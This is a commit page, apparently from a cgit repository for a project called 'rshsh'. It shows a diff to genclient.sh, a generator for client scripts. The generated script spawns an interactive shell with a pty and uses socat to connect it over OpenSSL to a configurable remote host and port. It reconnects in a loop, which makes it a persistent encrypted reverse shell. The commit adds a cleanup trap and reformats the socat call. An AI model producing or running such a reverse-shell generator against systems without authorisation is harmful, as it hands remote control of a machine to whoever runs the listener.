aboutsummaryrefslogtreecommitdiff
path: root/genclient.sh
diff options
context:
space:
mode:
authorMitchell Riedstra <mitch@riedstra.dev>2022-12-26 13:06:48 -0500
committerMitchell Riedstra <mitch@riedstra.dev>2022-12-26 13:06:48 -0500
commit639e50050702d094a9464cf263995f7f19079eaf (patch)
treecd6502f6d5af67e5a887474ed3225af37a20cd02 /genclient.sh
parent9bd432b5de3592f89d885deaff953418822acaa9 (diff)
downloadrshsh-master.tar.gz
rshsh-master.tar.xz
Add an option for embedded socat in the clientHEADmaster
Diffstat (limited to 'genclient.sh')
-rwxr-xr-xgenclient.sh7
1 files changed, 5 insertions, 2 deletions
diff --git a/genclient.sh b/genclient.sh
index 9984a8b..6e2cda2 100755
--- a/genclient.sh
+++ b/genclient.sh
@@ -23,10 +23,13 @@ cat <<EOF
_shell="\$(which zsh mksh bash ksh zsh ash sh 2>/dev/null | sed 1q)"
certificate='$(cat ${basename}.crt)'
crt_tmp="\$(mktemp)"
+trap 'rm -f \$crt_tmp; exit 0' EXIT INT
echo "\$certificate" > "\$crt_tmp"
while [ $loop -ne 0 ] ; do
-socat exec:"\$_shell",pty,stderr,setsid,sigint,sane OPENSSL:$hostname:$port,verify=$verify,cafile=\$crt_tmp
+socat exec:"\$_shell",pty,stderr,setsid,sigint,sane \\
+ "OPENSSL:$hostname:$port,verify=$verify,cafile=\$crt_tmp"
sleep $timeout
done
-rm "\$crt_tmp"
+
+exit 0
EOF